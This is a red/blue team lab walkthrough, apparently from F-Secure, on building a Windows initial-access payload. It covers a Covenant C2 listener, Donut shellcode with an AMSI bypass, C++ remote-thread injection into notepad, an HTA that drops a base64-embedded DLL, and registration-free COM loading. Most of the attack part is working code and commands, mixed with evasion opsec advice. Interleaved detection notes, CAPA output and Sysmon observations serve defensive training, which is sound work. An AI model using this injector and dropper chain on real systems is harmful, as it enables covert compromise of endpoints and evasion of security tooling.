Attack Detection Fundamentals 2021: Windows - Lab #1

In the first part of F-Secure Consulting's Attack Detection Fundamentals workshop series for 2021, we covered advanced defense evasion and credential access techniques targeting Windows endpoints. This included the offensive and defensive use of API hooking, as well as the theft of cookies to enabled 'session hijacking'.

A recording of the first workshop can be found here and the slides are available here.

One of the core concepts of the first workshop was "Defense Evasion" geared towards "Initial Access". In this lab, we are going to build an initial access payload able to evade the most common endpoint protection mechanisms. More specifically, the outcome of this workshop will be the creation of an HTA file that will do the following:

  • Drop a DLL on disk and load it via registration-free COM activation
  • The DLL will spawn a new process and inject an AMSI-bypassing shellcode into it

Given this will be quite a detailed walkthrough, we've split it into two parts, where we'll improve our initial payload in the next lab to include two further defense evasion techniques in API unhooking and ETW bypasses.

For each attacker's step, we will analyse the various detection opportunities that either security products or SOC analysts could employ, alongside the most common attacker opsec pitfalls.

Despite the final outcome appearing quite complex, we will try to break it down to its fundamental steps to make it more accessible.

Required Tools

DISCLAMER: Set up of the tools and the testing environment is not covered comprehensively within this lab. We will assume basic familiarity with Windows command line and the ability of the reader to build the necessary tools.

Walkthrough

Setup

The first step will be to configure our Command and Control server to accept connections from the implants. We will use the open source Covenant C2 framework for this. We will skip the installation and creation of a standard listener, as it is well covered in the official Covenant Wiki.

Let's create a new HTTP listener from the main dashboard:

Creating Listener in Covenant

RED TEAM ALERT: In this case we will create a listener that accepts remote connection using the raw IP address, HTTP and with the default communication profile. All those values should be changed during a real operation to maximise the chances of obtaining a remote connection.

BLUE TEAM ALERT: Frameworks are often used in their default configuration by attackers. Default values will leave traces that could be used to spot malicious activities; one example of that is network communication. By default, Covenant and other C2 frameworks like Cobalt Strike have a predefined way of communicating back to their C2 server. By either analysing the traffic with Wireshark or reading the source code, would you be able to spot (and even alert on) the HTTP endpoints used by Covenant?

Now that we have a listener set up, we need what Covenant calls "Launcher". A Launcher is just a payload that will spawn a "Grunt"; Covenant terminology for an implant. We can create launchers in various formats such as EXEs and DLLs, however we will create a "ShellCode" launcher.

As discussed in the workshop, using shellcodes will give us greater flexibility and stealth when building our initial access payload. So let's create a '.bin' file fom the Covenant's Launcher dashboard and save it on disk.

NOTE: If you save the '.bin' file on a Windows endpoint with an antivirus enabled, it might get deleted.

We will not create our shellcode injector just yet, but instead we will rely on hasherezade's masm_shc project. After downloading the binaries, run the 'run_shc64.exe' binary with the path of the '.bin' file as the only command line argument.

drum roll

Well, you might or might not have obtained a Grunt callback on your system. You might be wondering why. Let's start by checking Windows Defender's Event Logs:

AMSI

During the production of this content, we observed that the shellcode launcher in Covenant failed to properly disable AMSI. Therefore, depending on the .NET version installed on your system (and when you complete this lab), an AMSI event might have been generated. This is because from .NET 4.8, AMSI supports scanning .NET assemblies that are reflectively loaded using 'Assembly.Load()'.

This is something that Covenant abstracted for us, but the shellcode that it was generated was loading the Common Language Runtime (CLR) and reflectively loading the Grunt .NET assembly. All of this was done using the donut tool. It would make sense that AMSI blocked our attack, since Defender was able to scan the raw bytes of the Covenant grunt, despite all of this was happening in memory.

Luckily, an easy fix for this would be to use the latest Donut manually, using its default options. In fact, donut already implements an AMSI bypass using pure C/ASM, meaning that .NET introspection would not affect it.

Let's try again by generating an EXE by choosing "Binary Launcher":

image 20210323174839716

All we need to do now is to execute donut with the default options against the newly generated binary, as shown below:

PS C:\Users\Developer\Desktop\workshop> C:\Users\Developer\Desktop\Tools\donut\donut.exe -f Z:\Downloads\f445fc2af7.exe

[ Donut shellcode generator v0.9.2
[ Copyright (c) 2019 TheWover, Odzhan

[ Instance type : PIC
[ Module file : "Z:\Downloads\f445fc2af7.exe"
[ File type : .NET EXE
[ Target CPU : x86+AMD64
[ AMSI/WDLP : continue
[ Shellcode : "payload.bin"

If all went fine, you should now have a Covenant shellcode able to bypass AMSI:

AMSI Bypassing Grunt

A shellcode on its own is not very useful, as it cannot be executed without an additional component that injects it into another process or itself. Let's proceed with the creation of a basic DLL implant.

Weaponisation

The shellcode injector we will create will be written in C++. We will use Visual Studio for this but any other code editor and compiler that supports C++ on Windows will be sufficient.

Open Visual Studio and do the following:

  • Create New Project
  • Select "Dynamic Linked Library (C++)"
  • Select the folder where to store our code

This will create an empty C++ project with a basic code skeleton of a DLL, let's start discussing the code.

First of all, at a conceptual level, process injection can be divided into four phases:

  • Creation or selection of a target process (can be another process or the same process injecting into itself)
  • Allocation of memory
  • Writing the shellcode into the allocated memory
  • Triggering the execution

These four fundamental steps can be implemented in different ways, creating many flavours of process injection techniques. It must also be noted that some more advanced techniques are able to avoid one or more of the aforementioned steps, for example avoiding allocating new memory by overwriting existing memory pages (process hollowing is an example of that).

However, we want to keep this relatively simple and therefore we will use the following:

  • We will create a new process, 'notepad.exe' initially, in a suspended state
  • We will allocate memory into the remote process using the 'VirtualAllocEx' function
  • The shellcode will be copied using 'WriteProcessMemory'
  • Execution will be triggered using 'CreateRemoteThread'

The snippet that can be used to accomplish the above is the following:

PROCESS_INFORMATION pi;
STARTUPINFOEXW si;
SIZE_T attributeSize;
LPVOID allocatedMemory = NULL;
WCHAR path[MAX_PATH];
SIZE_T written = 0;

ZeroMemory(&si, sizeof(STARTUPINFOEXA));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

static unsigned char shellcode[] = {SHELLCODE};

lstrcpyW(path, L"C:\\windows\\SYSWOW64\\notepad.exe");

CreateProcess(NULL, path, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
Sleep(1000);

allocatedMemory = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, allocatedMemory, shellcode, sizeof(shellcode), &written);

CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)allocatedMemory, NULL, NULL, NULL);

ResumeThread(pi.hThread);

The variable 'shellcode' should be filled with the bytes of the shellcode that was previously generated. This can be achieved in many ways, but a simple 'hexdump' command will be sufficient:

hexdump -v -e '", """ 1/1 "%02x" ""' payload.bin

Compiling it in "Release" mode for x86 will give you a 32 bit DLL that can be executed as follows:

rundll32 simple.dll,test

You should obtain an active Grunt session running on your testing VM, if everything went fine. This will be our shellcode injector that will be dropped on disk and loaded by the HTA we will craft shortly... Yes, we said "drop on disk".

Never drop payloads on disk

Some people might have different opinions, but a well crafted payload can be dropped on disk safely in certain situations. File write operations are so common that it's extremely hard for security products to alert just on that.

Now let's step back from the offensive side and wear our blue hat for a bit. We will analyse the generated payload and try to understand if it's malicious and at a high level what the sample does (spoiler, it's malicious).

Let's start by executing FireEye's CAPA against it:

./capa simple-inject.dll
loading : 100%|██████████████████████| 341/341 [00:01<00:00, 185.59 rules/s]
matching: 100%|█████████████████████████| 66/66 [00:00<00:00, 84.75 functions/s]
+------------------------+------------------------------------------------------------------------------------+
| md5 | f6c34fffec97dca0d47e8943812d07ac |
| sha1 | 654ccfe60f23cf0ae11d154d4e2f8f9ad18a57b6 |
| sha256 | 0b5dd9946ab7d50a344bf1b1be706667422b8f3b2bce11a98daf8f38af7e1007 |
| path | simple-inject.dll |
+------------------------+------------------------------------------------------------------------------------+

+------------------------+------------------------------------------------------------------------------------+
| ATT&CK Tactic | ATT&CK Technique |
|------------------------+------------------------------------------------------------------------------------|
| DEFENSE EVASION | Process Injection [T1055] |
| | Virtualization/Sandbox Evasion::System Checks [T1497.001] |
| DISCOVERY | Process Discovery [T1057] |
| EXECUTION | Shared Modules [T1129] |
+------------------------+------------------------------------------------------------------------------------+

+------------------------------------------------------+------------------------------------------------------+
| CAPABILITY | NAMESPACE |
|------------------------------------------------------+------------------------------------------------------|
| execute anti-VM instructions (2 matches) | anti-analysis/anti-vm/vm-detection |
| contains PDB path | executable/pe/pdb |
| contain a resource (.rsrc) section | executable/pe/section/rsrc |
| print debug messages | host-interaction/log/debug/write-event |
| create process | host-interaction/process/create |
| create process suspended | host-interaction/process/create |
| allocate RWX memory | host-interaction/process/inject |
| inject thread | host-interaction/process/inject |
| enumerate processes | host-interaction/process/list |
| terminate process | host-interaction/process/terminate |
| parse PE header | load-code/pe |
+------------------------------------------------------+------------------------------------------------------+

As we can see, multiple signs of code injection capabilities are present, such as "inject thread" and "allocate RWX memory":

allocate RWX memory
namespace host-interaction/process/inject
author moritz.raabe@fireeye.com
scope basic block
att&ck Defense Evasion::Process Injection [T1055]
examples Practical Malware Analysis Lab 03-03.exe_:0x4010EA, 563653399B82CD443F120ECEFF836EA3678D4CF11D9B351BB737573C2D856299:0x140001ABA
basic block @ 0x1000114B
and:
or:
api: kernel32.VirtualAllocEx @ 0x10001213
or:
number: 0x40 = PAGE_EXECUTE_READWRITE @ 0x10001201

inject thread
namespace host-interaction/process/inject
author anamaria.martinezgom@fireeye.com
scope function
att&ck Defense Evasion::Process Injection [T1055]
examples Practical Malware Analysis Lab 12-01.exe_:0x4010D0, 2D3EDC218A90F03089CC01715A9F047F:0x4027CF
function @ 0x10001070
and:
or:
api: kernel32.VirtualAllocEx @ 0x10001213
match: write process memory @ 0x10001070
or:
api: kernel32.WriteProcessMemory @ 0x1000125A
or:
api: kernel32.CreateRemoteThread @ 0x10001297
optional:
or:
api: kernel32.OpenProcess @ 0x10001153
number: 0x40 = PAGE_EXECUTE_READWRITE @ 0x10001201
number: 0x3000 = MEM_COMMIT or MEM_RESERVE @ 0x10001203

We know what the sample does, since we wrote it, but we could go as far as reversing the DLL using IDA or Ghidra and extract the malicious shellcode from it. We could use other triage tools such as PE Studio or others to obtain similar results.

In a nutshell, our injector is not opsec safe for a number of reasons:

  • It does not have any execution guardrail or sandbox check
  • Has a lot of suspicious imports
  • Does not have any anti-emulation logic
  • Does not implement PPID spoofing or apply any process mitigation policy to harden the remote process
  • Creates a dodgy process (notepad) in a suspended state

Additionally, the injection technique we chose is extremely noisy as it will not just trigger userland hooks that might be in place (more on this later), but also kernel callbacks registered by drivers such as Sysmon. The screenshot below is an example of Sysmon Event ID 8, which indicates that a thread was created on a remote process:

Create Remote Thread Detected by Sysmon

HTA to The Masses

Our DLL is not perfect, but it works. However, it's quite hard to deliver one to a target user since no default actions are associated with that file type (double clicking it doesn't do much!). Not to mention that most corporate web proxies and mail filters block the DLL file type regardless of being malicious or benign! What is needed is an additional component that will write our DLL on disk and then load it to trigger the execution. HTAs were chosen for this task, but the same concept could be applied with other languages such as VBS and VBA, commonly used for initial access as well.

The first bit of our HTA will actually write our DLL on disk. In fact, we can embed our DLL in a base64 string within the HTA itself and decode it in memory. Including our DLL file in this way is often referred to as a 'dropper', where the file is embedded within our initial access payload, as opposed to a downloader, where our HTA would fetch the DLL from an external location. Obtaining the base64 of our DLL is as easy as 'cat simple.dll | base64 -w 0' and then using the following template:

var shell = new ActiveXObject('WScript.Shell');
var path = shell.ExpandEnvironmentStrings("%APPDATA%") + "\\"

var filename = "test.dll";

var forReading = 1, forWriting = 2, forAppending = 8;
var create = true; // if file doesn't exist, then create it

var xmlDom = new ActiveXObject("Microsoft.XMLDOM");
var el = xmlDom.createElement("tmp");
el.dataType = "bin.Base64"
el.text = "BASE64"; // the base64 goes here

// Use a binary stream to write the bytes into
var strm = new ActiveXObject("ADODB.Stream");
strm.Type = 1;
strm.Open();
strm.Write(el.nodeTypedValue);

strm.SaveToFile(path + filename, 2);
strm.Close();

BLUE TEAM ALERT: Having the right telemetry will create multiple detection opportunities for this technique so far. A few examples could include:

  • A file with DLL extension was written on disk by a known LOLbin ('Mshta.exe'), could you tell how frequently that happens in your environment?
  • A base64 PE was embedded in an HTA, we did not mention how to actually send the HTA to the victim but potentially a proxy would have visibility over the files downloaded form the internet. Is there an automated way of blocking/alerting on this type of event?
  • The DLL will call the CreateRemoteThread API, widely used by malware. Does your EDR/AV prevent or detect on its usage? Would it be possible for you to have the raw telemetry and eventually build detections around it?

Now that we have an HTA that can drop a DLL to disk, we need a way of actually getting that DLL loaded somewhere. To do so there are multiple options, such as DLL sideloading or using 'rundll32' to manually load the library. However, in this example we will use something a bit more complex.

Leo Lobeek's research "Building a COM Server for Initial Execution" demonstrates how it is possible to load arbitrary DLLs using Registration Free COM. We don't need to go into details of COM, but in general a COM object needs to be registered in the system in order to be accessed. However, a particular COM object, ActCtx, can be used to access a COM object without registration on the system, by simply specifying what is called a "manifest".

We can add the following code to our HTA to do so, following Leo's example:

var manifestXML = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="MyCOMObject" version="2.2.0.0"/> <file name="test.dll"> <comClass description="MyCOMObject Class" clsid="{67E11FF1-C068-4C48-A1F5-69A882E0E99A}" threadingModel="Both" progid="MyCOMObject"/></file></assembly>'

// this will look for our COM DLL in the path noted above, the file name is indicated in the manifest
shell.Environment('Process')('TMP') = path;

var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");
actCtx.ManifestText = manifestXML;

try {
var dwx = actCtx.CreateObject("MyCOMObject");
alert();
} catch (e) { }

To make this work for us, we also need to modify our DLL to export specific functions, necessary for the reg-free COM activation. More specifically, the following code should be added into our DLL:

// build and place in directory specified in the script.js file
// need to export DllCanUnloadNow, DllRegisterServer, DllUnregisterServer, DllGetClassObject
#include <Windows.h>
#include <comutil.h> // #include for _bstr_t
#include <string>
#include "Data.h"

DWORD MyThread();
UINT g_uThreadFinished;
extern UINT g_uThreadFinished;

BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
g_uThreadFinished = 0;
}
return TRUE;
}

STDAPI DllCanUnloadNow(void)
{
// Ensure our thread can finish before we're unloaded
do
{
Sleep(1);
} while (g_uThreadFinished == 0);

return S_OK;
}

STDAPI DllRegisterServer(void)
{
return S_OK;
}

STDAPI DllUnregisterServer(void)
{
return S_OK;
}

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MyThread, NULL, 0, NULL);
return CLASS_E_CLASSNOTAVAILABLE;
}

To recap what is happening, our HTA will do the following:

  • Drop a DLL in a folder we specify, something like %TEMP or %APPDATA%
  • The HTA will define an XML manifest, that will be dropped in the same folder as our DLL
  • Using registration free COM, we will load the DLL into the mshta.exe process
  • The DLL will perform process injection against notepad.exe
  • Notepad will spawn a Covenant's Grunt

If we try to execute our HTA and monitor the process activity using tools such as ProcMon, it would be possible to see a "Load Image" event using our DLL, and we should obtain an active Grunt on the host:

Load Image in ProcMon

Conclusions

Let's take a minute, we've come a long way!

In this lab, we've observed AMSI doing its thing against our default Covenant Grunt shellcode. We've used the Donut project to introduce an AMSI bypass to bypass this. From here, we've embedded our shellcode in a DLL that spawns a Notepad process and uses the VirtualAllocEx->WriteProcessMemory->CreateRemoteThread pattern to inject our Grunt.

We've used FireEye's CAPA to give us some idea of how glaringly obvious our malicious payload is, highlighting the many 'opsec fails' that static analysis quickly picks up. We've even seen how Sysmon includes a specific event ID just for our CreateRemoteThread injection technique!

To stand us a better chance of delivering our payload into a target environment, we've embedded the base64 encoded DLL into an HTA file that subsequently decodes the encoded blob in memory and drops it to disk (highlighting another detection opportunity using 'file creation' events). To execute our DLL from the HTA, we used Leo Lobeek's research into Registration Free COM. Including a reference to our Grunt-packed DLL in the HTA file's manifest.

We've got plenty still to do if we want our payload to have a better chance of bypassing security controls and executing successfully. Join us in the next guide as we implement API unhooking and patch ETW here!